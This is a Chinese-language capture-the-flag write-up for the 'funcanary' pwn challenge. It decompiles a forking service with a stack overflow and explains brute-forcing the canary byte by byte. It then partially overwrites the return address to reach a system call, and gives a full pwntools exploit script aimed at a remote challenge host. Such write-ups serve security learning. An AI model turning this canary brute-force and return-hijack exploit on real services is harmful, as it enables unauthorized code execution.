ciscn_funcanary

b4nd1t

ciscn_funcanary

保护检查

1685529011083

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]

sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
1
2
3
4
5
6
7
8
9
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

存在溢出但是有canary,fork出的进程内存一样,可以进行爆破,最后直接转移到偏移为0x1231的地址处

就是劫持到如下代码处

1685529054623

最开始我用的是1229那个地址,但是一直出错,不清楚是哪里除了问题。(但我猜测应该是前面的压栈操作使程序调用system函数时栈不是对齐的)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./funcanary")
p = remote('39.105.26.155',28813)
flagoffset = 0x1229
canary = '\x00'
p.recvuntil("welcome\n")
for j in range(7):
for i in range(0x100):
payload = 'a'*104 + canary + chr(i)
p.send(payload)
a = p.recvuntil("welcome\n")
if 'fun' in a:
canary += chr(i)
break
for i in range(16):
payload = 'a'*104 + canary + 'a'*8 + '\x31'
payload += chr(i*16 + 2)
p.send(payload)
p.recv()
#while True:
# payload = 'a'*104 + canary + 'a'*8 + '\x29' + '\x12'
# p.send(payload)
# p.recvuntil("welcome\n")
p.interactive()
此页目录
ciscn_funcanary